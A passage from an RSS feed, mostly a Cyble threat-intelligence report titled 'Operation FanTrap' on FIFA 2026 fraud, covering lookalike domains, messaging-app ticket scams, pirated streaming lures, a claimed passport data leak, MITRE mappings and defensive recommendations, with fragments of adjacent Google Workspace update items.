camera is turned off and you won’t see the incoming video content. You’ll hear the audio from the meeting and have audio input access from your microphone.</div><h3>Getting started</h3><div><ul><li><b>Admins: </b>There is no admin control for this feature.</li><li><b>End users: </b>This feature is ON by default for users with the Google Meet app installed on their Android phone. To use it, simply connect your phone to an Android Auto-compatible vehicle. Visit the Help Center to <a href="https://support.google.com/meet/answer/16920905" target="_blank">learn more about using Meet on Android Auto</a>.</li></ul></div><h3>Rollout pace</h3><div><ul><li><a href="https://support.google.com/a/answer/172177" target="_blank">Rapid Release domains</a>: Available now</li><li><a href="https://support.google.com/a/answer/172177" target="_blank">Scheduled Release domains</a>: Rolling out now, with expected completion by June 26, 2026</li></ul></div><h3>Availability</h3><div><ul><li>Available to all Google Workspace customers, Workspace Individual subscribers, and users with personal Google accounts</li></ul></div><h3>Resources</h3><div><ul><li>Google Meet Help: <a href="https://support.google.com/meet/answer/16920905" target="_blank">Use Meet on Android Auto</a></li><li>Google Workspace Updates Blog: <a href="https://workspaceupdates.googleblog.com/2026/04/google-meet-is-now-available-on-carplay.html" target="_blank">Google Meet is now available on CarPlay</a></li></ul></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Operation FanTrap: Inside the FIFA 2026 Fraud Ecosystem]]></title>
<description><![CDATA[Executive Summary 


The FIFA World Cup 2026 has become more than a global sporting event. It has evolved into a large-scale cybercrime opportunity exploited by threat actors through a coordinated ecosystem of fraudulent domains, social media channels, messaging platforms, pirated streaming servi...]]></description>
<link>https://tsecurity.de/de/3607507/it-security-nachrichten/operation-fantrap-inside-the-fifa-2026-fraud-ecosystem/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3607507/it-security-nachrichten/operation-fantrap-inside-the-fifa-2026-fraud-ecosystem/</guid>
<pubDate>Thu, 18 Jun 2026 13:17:21 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1200" height="600" src="https://cyble.com/wp-content/uploads/2026/06/FIFA-2026-Fraud.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="FIFA 2026 Fraud" decoding="async" srcset="https://cyble.com/wp-content/uploads/2026/06/FIFA-2026-Fraud.webp 1200w, https://cyble.com/wp-content/uploads/2026/06/FIFA-2026-Fraud-300x150.webp 300w, https://cyble.com/wp-content/uploads/2026/06/FIFA-2026-Fraud-1024x512.webp 1024w, https://cyble.com/wp-content/uploads/2026/06/FIFA-2026-Fraud-768x384.webp 768w" sizes="(max-width: 1200px) 100vw, 1200px" title="Operation FanTrap: Inside the FIFA 2026 Fraud Ecosystem 1"></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading">Executive Summary </h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p>The FIFA World Cup 2026 has become more than a global sporting event. It has evolved into a large-scale cybercrime opportunity exploited by threat actors through a coordinated ecosystem of fraudulent domains, social media channels, messaging platforms, pirated streaming services, and dark web activity. Since May 2026, Cyble Research and Intelligence Labs (CRIL) has identified nearly 4,000 domains impersonating FIFA-related brands, ticketing platforms, streaming services, and fan-facing resources. <br> <br>Operation FanTrap reveals how threat actors are building end-to-end fraud operations designed to attract, engage, and monetize football fans worldwide. Victims are lured through fake ticket offers, VIP access schemes, counterfeit hospitality portals, and unauthorized streaming platforms. Evidence also shows victims being redirected to private communication channels such as Telegram and WhatsApp, where payment fraud, credential theft, and identity harvesting occur. <br> <br>CRIL’s investigation also identified growing dark web activity linked to the tournament, including claims of football-sector identity data leaks and discussions around ticket resale opportunities. While the authenticity of some leak claims remains under investigation, their circulation highlights the increasing convergence of fan-targeted fraud, identity theft, and cyber-enabled financial crime. <br> <br>The campaign demonstrates how major international events create a scalable environment for cybercriminal operations. Through multilingual targeting, extensive infrastructure deployment, and diversified monetization strategies, threat actors are transforming global sporting events into sustained cybercrime ecosystems. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading">Key Takeaways </h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>Operation FanTrap is a coordinated investigation into the broader fraud ecosystem exploiting global interest in FIFA events </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>Nearly 4,000 FIFA-themed domains were identified supporting phishing, ticket fraud, VIP scams, streaming lures, and brand impersonation. </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>The websites used a multilingual infrastructure to maximize victim reach, with a particularly strong focus on Chinese-speaking audiences. </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>Telegram and WhatsApp function as transaction layers where victims are moved from public-facing infrastructure into private fraud workflows. </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>Pirated streaming platforms serve as credential theft and payment fraud funnels rather than simple copyright violations. </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>Dark web discussions and alleged football-sector identity leaks create opportunities for targeted social engineering and secondary monetization. </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading">Campaign overview </h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:table --></p>
<figure class="wp-block-table">
<table class="has-fixed-layout">
<tbody>
<tr>
<td>Parameter </td>
<td>Observed Value </td>
</tr>
<tr>
<td>Campaign Codename (CRIL) </td>
<td>Operation FanTrap </td>
</tr>
<tr>
<td>Monitoring Window </td>
<td>May 2026 – June 2026 (ongoing) </td>
</tr>
<tr>
<td>Dominant Fraud Categories </td>
<td>Ticket scam, VIP access fraud, pirate streaming, phishing </td>
</tr>
<tr>
<td>Primary Target Demography </td>
<td>Chinese-speaking fans, Korean fans, Latin American fans </td>
</tr>
<tr>
<td>Dark Web Activity </td>
<td>Forum-based ticket resale fraud; identity data leak claims </td>
</tr>
</tbody>
</table>
</figure>
<p><!-- /wp:table --></p>
<p><!-- wp:paragraph --></p>
<p>The FIFA World Cup 2026 will span the US, Canada, and Mexico, with a 48-team format and global broadcast reach. CRIL's monitoring uncovered significant spikes in <a href="https://cyble.com/blog/fifa-world-cup-2026-scams/">malicious domain registrations</a> mapped to specific attack themes, demonstrating how threat actors rapidly adapted their infrastructure to capitalize on tournament-related interest. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:image {"id":120992,"sizeSlug":"large","linkDestination":"none","align":"center"} --></p>
<figure class="wp-block-image aligncenter size-large"><img src="https://cyble.com/wp-content/uploads/2026/06/Operation-FanTrap-attack-themes-1024x227.png" alt="" class="wp-image-120992"><figcaption class="wp-element-caption"><em>Figure 1 - Operation FanTrap attack themes</em></figcaption></figure>
<p><!-- /wp:image --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading">Anatomy of the FIFA 2026 Fraud Ecosystem </h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:heading {"level":3} --></p>
<h3 class="wp-block-heading">Domain Patterns - The Fraud Ecosystem </h3>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p>Threat actors leveraged ticketing, VIP access, official branding, and live streaming to broaden their victim pool. Examples of these domain patterns are shown in the table below. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:table --></p>
<figure class="wp-block-table">
<table class="has-fixed-layout">
<tbody>
<tr>
<td>Domain Pattern </td>
<td>Example Domains </td>
<td>Count </td>
<td>Fraud Category </td>
</tr>
<tr>
<td>zh-[term]-fifa.com </td>
<td>zh-worldcuphub-fifa.com, zh-nowlive-fifa.com </td>
<td>541 </td>
<td>Chinese-language phishing/streaming </td>
</tr>
<tr>
<td>cn-[term]-fifa.com </td>
<td>cn-vpn-fifa.com, cn-setting-fifa.com </td>
<td>372 </td>
<td>Chinese-language credential/VPN phishing </td>
</tr>
<tr>
<td>[term]-worldcup-fifa.com </td>
<td>play-worldcup-fifa.com, vip-worldcup-fifa.com </td>
<td>413 </td>
<td>Brand impersonation </td>
</tr>
<tr>
<td>[term]-wc-fifa.com </td>
<td>cctv-maiqiu-fifa-wc.com, ssl-cn-fifa-wc.com </td>
<td>391 </td>
<td>Ticketing/streaming fraud </td>
</tr>
<tr>
<td>fifa-ticket-[term].com </td>
<td>fifa-ticket-26.com, fifa-freetickets.*.top </td>
<td>10+ </td>
<td>Ticket scam </td>
</tr>
<tr>
<td>fifa-vip-[term].com </td>
<td>fifa-vip-huya.com, fifa-vip-wcplay.com </td>
<td>84 </td>
<td>VIP/premium access fraud </td>
</tr>
<tr>
<td>official-[term]-fifa.com </td>
<td>official-live-fifa.com, official-2026-fifa.com </td>
<td>87 </td>
<td>Brand authority impersonation </td>
</tr>
<tr>
<td>live-[term]-fifa.com </td>
<td>vip-live-fifa.com, web-live-fifa.com </td>
<td>219 </td>
<td>Pirate streaming </td>
</tr>
<tr>
<td>maiqiu variants </td>
<td>chn-maiqiu-fifa-worldcup.com, cctv-maiqiu-fifa.com </td>
<td>51 </td>
<td>Chinese ticket-buying fraud </td>
</tr>
</tbody>
</table>
</figure>
<p><!-- /wp:table --></p>
<p><!-- wp:image {"id":120993,"sizeSlug":"large","linkDestination":"none","align":"center"} --></p>
<figure class="wp-block-image aligncenter size-large"><img src="https://cyble.com/wp-content/uploads/2026/06/Fraudulent-FIFA-2026-Official-Hospitality-Ticketing-Portal-1024x768.png" alt="" class="wp-image-120993"><figcaption class="wp-element-caption"><em>Figure 2 - Fraudulent FIFA 2026 Official Hospitality Ticketing Portal</em></figcaption></figure>
<p><!-- /wp:image --></p>
<p><!-- wp:paragraph --></p>
<p>The extensive use of <strong>zh-</strong>, <strong>cn-</strong>, and Chinese-language World Cup labels such as <em>shijiebei</em>, <em>pankou</em>, and <em>maiqiu</em> highlights a deliberate focus on Mandarin-speaking audiences. This targeting extends beyond traditional ticket fraud to encompass betting platforms, media-themed credential theft, piracy lures, prize scams, and counterfeit merchandise. This signals a persistent and organized fraud ecosystem designed to capitalize on China's large football fanbase and strong demand for World Cup-related content and services. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading">Dark Web Intelligence </h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p>We also identified a growing ecosystem of ticket resale fraud on Telegram and WhatsApp, as well as pirated streaming lures. Both are actively used to monetize fan interest and facilitate fraud, credential harvesting, and other malicious activity. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading {"level":3} --></p>
<h3 class="wp-block-heading">Resell Traps on Messaging Services. </h3>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p>Monitoring of deep- and dark-web sources identified numerous advertisements and reseller communities promoting FIFA World Cup tickets via Telegram and WhatsApp. Fraudsters frequently use these platforms because they facilitate private, direct communication while limiting oversight and accountability.  </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Threat actors often establish credibility through fabricated testimonials, forged purchase confirmations, edited screenshots, recycled ticket images, and scripted customer-support interactions. However, such indicators of legitimacy can be easily manufactured and should not be considered proof of ticket ownership or delivery capability. Additionally, the closed nature of these channels enables attackers to create a sense of urgency, collect payments, and disengage victims with minimal traceability. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The example below illustrates a Telegram-based ticket resale advertisement identified during monitoring, highlighting the use of unofficial and potentially fraudulent sales channels. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:image {"id":120995,"sizeSlug":"full","linkDestination":"none","align":"center"} --></p>
<figure class="wp-block-image aligncenter size-full"><img src="https://cyble.com/wp-content/uploads/2026/06/Telegram-Ticket-Testimonial-Used-to-Build-Buyer-Trust.png" alt="" class="wp-image-120995"><figcaption class="wp-element-caption"><em>Figure 3 -Telegram Ticket Testimonial Used to Build Buyer Trust</em> </figcaption></figure>
<p><!-- /wp:image --></p>
<p><!-- wp:image {"id":120996,"sizeSlug":"full","linkDestination":"none","align":"center"} --></p>
<figure class="wp-block-image aligncenter size-full"><img src="https://cyble.com/wp-content/uploads/2026/06/Urgency-Driven-Ticket-Offers-in-Suspicious-Telegram-Channels.png" alt="" class="wp-image-120996"><figcaption class="wp-element-caption"><em>Figure 4 -Urgency-Driven Ticket Offers in Suspicious Telegram Channels</em></figcaption></figure>
<p><!-- /wp:image --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading">The pirated stream trap: free football, expensive consequences </h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p>Pirated streaming sites exploit fans seeking free access to World Cup matches, using geo-restrictions, subscription costs, and broadcast limitations as bait. Rather than delivering live streams, many function as fraud and malware distribution platforms, employing fake video players, deceptive download prompts, browser notification prompts, and fraudulent free-trial offers to harvest credentials, payment information, and user data.  </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>To evade detection, we identified domains that avoid FIFA- or World Cup-related keywords in domain names. These links are promoted through fan forums, Discord servers, Telegram channels, and WhatsApp groups, lending credibility to malicious infrastructure. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Examples identified during monitoring include: </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>footybite[.]vc </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>epicsports[.]in </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>footballnewslive[.]online </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>totalsportek[.]online </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>sportshub[.]fan </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>streameast[.]im </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p>The risk is beyond legal or copyright concerns. For many fans, the real danger lay in the broader cybersecurity ecosystem surrounding these platforms. Pirated streaming sites and services often acted as data collection points, quietly harvesting email addresses, passwords, payment details, phone numbers, and device information. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Unofficial streaming apps and APK files added another layer of risk. They frequently requested excessive permissions, delivered intrusive ads, tracked user activity, and in some cases, served as entry points for malware. What seemed like a convenient way to watch a match could quickly turn into a channel for data exposure and system compromise. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading">Ticket Scams and VIP Access Fraud  </h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p>Forum-based ticket promotions added another layer of risk to World Cup scams by combining resale listings with the appearance of community trust. Sellers often seemed more credible than random social media accounts, as consistent posting, forum history, and visible profile activity created a sense of legitimacy. However, this credibility could be misleading. Fans should remain cautious, as an active profile did not guarantee ticket authenticity, official authorization, secure payments, or a successful transfer—even within seemingly trusted communities. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:image {"id":120997,"sizeSlug":"large","linkDestination":"none","align":"center"} --></p>
<figure class="wp-block-image aligncenter size-large"><img src="https://cyble.com/wp-content/uploads/2026/06/Ticket-Resale-Promotion-Through-Forum-Profiles-and-Repeated-Match-Posts-1024x556.png" alt="" class="wp-image-120997"><figcaption class="wp-element-caption"><em>Figure 5 - Ticket Resale Promotion Through Forum Profiles and Repeated Match Posts</em></figcaption></figure>
<p><!-- /wp:image --></p>
<p><!-- wp:image {"id":120998,"sizeSlug":"large","linkDestination":"none","align":"center"} --></p>
<figure class="wp-block-image aligncenter size-large"><img src="https://cyble.com/wp-content/uploads/2026/06/Domain-Reputation-Check-for-a-Ticket-Resale-Website-1024x355.png" alt="" class="wp-image-120998"><figcaption class="wp-element-caption"><em>Figure 6 - Domain Reputation Check for a Ticket Resale Website</em></figcaption></figure>
<p><!-- /wp:image --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading">Identity and PII leak claims  </h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p>CRIL also observed forum discussions about leaked football-related identity data, highlighting how World Cup–related cybercrime can extend beyond fan scams into the broader football ecosystem. For example, one post titled “150k+ football passports leaked weeks before FIFA World Cup” claimed that passport scans and personal details of over 150,000 AFC and Al Nassr FC players and coaches had been exposed. The alleged leak included sensitive information such as full names, passport numbers, scans, dates of birth, nationalities, player roles, club affiliations, email addresses, contracts, AFC IDs, and even match or venue details.  </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Such claims require independent forensic verification before a confirmed breach status can be assigned. Regardless of authenticity, the circulation of this data in the pre-tournament window confirms threat actors are actively seeking to monetize football-sector identity assets. If the record set is genuine, it enables targeted spear-phishing against club staff, agent impersonation in transfer fraud, contract manipulation, and abuse of venue access credentials. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:image {"id":120999,"sizeSlug":"large","linkDestination":"none","align":"center"} --></p>
<figure class="wp-block-image aligncenter size-large"><img src="https://cyble.com/wp-content/uploads/2026/06/Forum-Claim-of-Football-Passport-Data-Exposure-Before-the-World-Cup-1024x488.png" alt="" class="wp-image-120999"><figcaption class="wp-element-caption"><em>Figure 7 - Forum Claim of Football Passport Data Exposure Before the World Cup</em></figcaption></figure>
<p><!-- /wp:image --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading">Connecting the Ecosystem – Attack Lifecycle </h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:image {"id":121001,"sizeSlug":"large","linkDestination":"none","align":"center"} --></p>
<figure class="wp-block-image aligncenter size-large"><img src="https://cyble.com/wp-content/uploads/2026/06/FIFA-world-cup-attack-ecosystem-1024x576.png" alt="" class="wp-image-121001"><figcaption class="wp-element-caption"><em>Figure 8 – FIFA World Cup attack ecosystem</em></figcaption></figure>
<p><!-- /wp:image --></p>
<p><!-- wp:paragraph --></p>
<p>By correlating our findings and research, we reconstructed the end-to-end attack chain used by threat actors. The analysis demonstrates how these seemingly independent activities are strategically aligned around the global popularity of FIFA events, enabling attackers to exploit fan enthusiasm, urgency, and trust. Together, these components form a coordinated FIFA-themed fraud ecosystem designed to attract victims, harvest sensitive information, facilitate financial fraud, and generate sustained criminal revenue.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The stages are as follows: </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>Stage 1 – Infrastructure Preparation: Registration of FIFA-themed domains and supporting online assets. </li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li>Stage 2 – Victim Acquisition: Promotion through search engines, social platforms, forums, messaging communities, and streaming portals. </li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li>Stage 3 – Engagement and Conversion: Fake ticket sales, VIP packages, hospitality offers, and streaming access are used to build trust. </li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li>Stage 4 – Data Collection: Harvesting of credentials, payment information, personal identifiers, and communication details. </li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li>Stage 5 – Monetization: Fraudulent payments, resale scams, credential abuse, phishing campaigns, and potential resale on the dark web of collected information. </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading">Conclusion </h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p>Operation FanTrap demonstrates how global sporting events have evolved into highly attractive targets for organized cybercriminal activity. Rather than relying on isolated phishing campaigns or opportunistic scams, threat actors are building interconnected ecosystems that combine malicious infrastructure, social engineering, messaging platforms, streaming lures, and dark web activity to maximize financial returns. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The nearly 4,000 domains identified by CRIL represent only one layer of a broader operation designed to exploit fan enthusiasm, event urgency, and global online engagement. Ticket scams, VIP access fraud, streaming lures, and alleged football-sector identity leaks collectively illustrate how attackers are diversifying their monetization strategies throughout the tournament lifecycle. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>As the FIFA World Cup 2026 continues, organizations, broadcasters, ticketing providers, and fans should view these activities not as isolated incidents but as components of an active and evolving cybercrime ecosystem. Continuous monitoring, rapid infrastructure disruption, dark web visibility, and proactive user awareness will remain critical to reducing risk throughout the tournament. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>CRIL will continue tracking this cluster and updating IoCs as new infrastructure emerges. All indicators are submitted to Cyble's threat feeds and accessible to Vision platform customers. Fan-facing brands, ticketing platforms, and event organizers should treat this as an active threat and prioritize domain monitoring and takedown workflows throughout the tournament. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading">Recommendations </h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p>Based on the findings presented above, CRIL recommends the following actions for immediate consideration by security teams and organizations: </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>Implement keyword-aware domain monitoring that flags FIFA, tournament branding, and language-prefix patterns (zh-, cn-, kr-) as compounding risk signals alongside registrar identity, TLD, and domain age. </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>Build takedown workflows that account for Cloudflare-proxied infrastructure — abuse requests must target the underlying origin, not the CDN layer, to be operationally effective. </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>Integrate campaign-cluster pivoting from confirmed IoCs into threat hunting workflows, using shared IP subnets and registrar concentration as primary pivot axes. </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>Apply multi-platform fraud funnel awareness: detection should extend beyond domains to Telegram and WhatsApp channels used for off-platform transaction completion. </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>For ticketing platforms and official broadcasters: issue proactive fan advisories confirming that legitimate ticket transactions will never be negotiated via private messaging apps or unverified resale portals. </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>Revise security awareness materials to teach structural URL interpretation — with specific focus on identifying lookalike FIFA domains that embed official terminology in subdomains or hyphenated strings rather than the root registered domain. </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>Monitor dark web forums for emerging data leak claims targeting football organizations, and treat leaked PII — particularly passport and contract data — as an active social engineering enabler requiring targeted victim notification. </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading">The need for a proactive cyberdefense stance </h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p>The current threat landscape includes a multitude of Social Engineering campaigns. Security teams need more than reactive controls to keep ahead of these. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Solutions such as Cyble Vision deliver operational intelligence that enables defenders to stay ahead of adversaries through early detection, campaign-level visibility, and infrastructure mapping. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><a href="https://cyble.com/products/cyble-vision/" target="_blank" rel="noreferrer noopener">Cyble Vision</a> specifically empowers security teams to move beyond isolated detection, providing the strategic insight needed to anticipate threats, monitor adversary activity, and respond with precision at every stage of the attack lifecycle. Security teams can take necessary preventive action with the help of: </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><strong>Real-Time IOC Monitoring</strong> <br>Enable continuous tracking of indicators tied to adversary infrastructure before they reach end users. </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><strong>Credential Phishing Infrastructure Mapping</strong> <br>Map attacker-controlled infrastructure, including fake authentication portals, dynamic exfiltration endpoints, and backend logic designed to capture credentials. </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><strong>Brand and Executive Impersonation Monitoring</strong> <br>Detect domain spoofing and impersonation attempts targeting internal functions such as HR and Finance—often used to increase trust and exploit user familiarity. </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><strong>Deep and Dark Web Visibility</strong> <br>Surface chatter, leaked credentials, and phishing toolkits from deep/dark web sources, offering early insight into attacker preparation and target selection. </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><strong>Global Targeting Intelligence</strong> <br>Track phishing activity across global regions—including North America, EMEA, and APAC—as well as over 70 industry sectors, providing defenders with contextual understanding of targeting patterns. </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><strong>Threat Actor Attribution and TTP Correlation</strong> <br>Associate infrastructure, techniques, and behavioral patterns with known threat actors, empowering security teams to prioritize response based on adversary capability and intent. </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading">MITRE ATT&amp;CK® Techniques </h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:table --></p>
<figure class="wp-block-table">
<table class="has-fixed-layout">
<tbody>
<tr>
<td><strong>Tactic</strong> </td>
<td><strong>Technique ID</strong> </td>
<td><strong>Technique Name</strong> </td>
</tr>
<tr>
<td>Resource Development </td>
<td><a href="https://attack.mitre.org/techniques/T1583/001/" target="_blank" rel="noreferrer noopener">T1583.001</a> </td>
<td>Acquire Infrastructure: Domains </td>
</tr>
<tr>
<td>Resource Development </td>
<td><a href="https://attack.mitre.org/techniques/T1583/006/" target="_blank" rel="noreferrer noopener">T1583.006</a> </td>
<td>Acquire Infrastructure: Web Services </td>
</tr>
<tr>
<td>Resource Development </td>
<td><a href="https://attack.mitre.org/techniques/T1585/001/" target="_blank" rel="noreferrer noopener">T1585.001</a> </td>
<td>Establish Accounts: Social Media Accounts </td>
</tr>
<tr>
<td>Initial Access </td>
<td><a href="https://attack.mitre.org/techniques/T1566/002/" target="_blank" rel="noreferrer noopener">T1566.002</a> </td>
<td>Phishing: Spearphishing Link </td>
</tr>
<tr>
<td>Credential Access </td>
<td><a href="https://attack.mitre.org/techniques/T1056/003/" target="_blank" rel="noreferrer noopener">T1056.003</a> </td>
<td>Web Portal Capture </td>
</tr>
<tr>
<td>Command and Control </td>
<td><a href="https://attack.mitre.org/techniques/T1102/" target="_blank" rel="noreferrer noopener">T1102</a> </td>
<td>Web Service </td>
</tr>
<tr>
<td>Impact </td>
<td><a href="https://attack.mitre.org/techniques/T1657/" target="_blank" rel="noreferrer noopener">T1657</a> </td>
<td>Financial Theft </td>
</tr>
</tbody>
</table>
</figure>
<p><!-- /wp:table --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading">Indicators of Compromise (IOCs) </h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p>The IOCs have been added to this <a href="https://github.com/CRIL-ThreatIntelligence/IOCs/blob/main/Operation_FIFA_TRAP/Operation_FanTrap-Inside_the_FIFA_2026_Fraud_Ecosystem_ioc.txt" target="_blank" rel="noreferrer noopener">GitHub</a> repository. Please review and integrate them into your <a href="https://cyble.com/knowledge-hub/what-is-a-threat-intelligence-feed/" target="_blank" rel="noreferrer noopener">Threat Intelligence feed</a> to enhance protection and improve your overall security posture. </p>
<p><!-- /wp:paragraph --></p>
<p>The post <a rel="nofollow" href="https://cyble.com/blog/operation-fantrap-fifa-2026-fraud-ecosystem/">Operation FanTrap: Inside the FIFA 2026 Fraud Ecosystem</a> appeared first on <a rel="nofollow" href="https://cyble.com/">Cyble</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Make Gemini more helpful and relevant to your teaching goals with the Google Classroom app in Gemini]]></title>
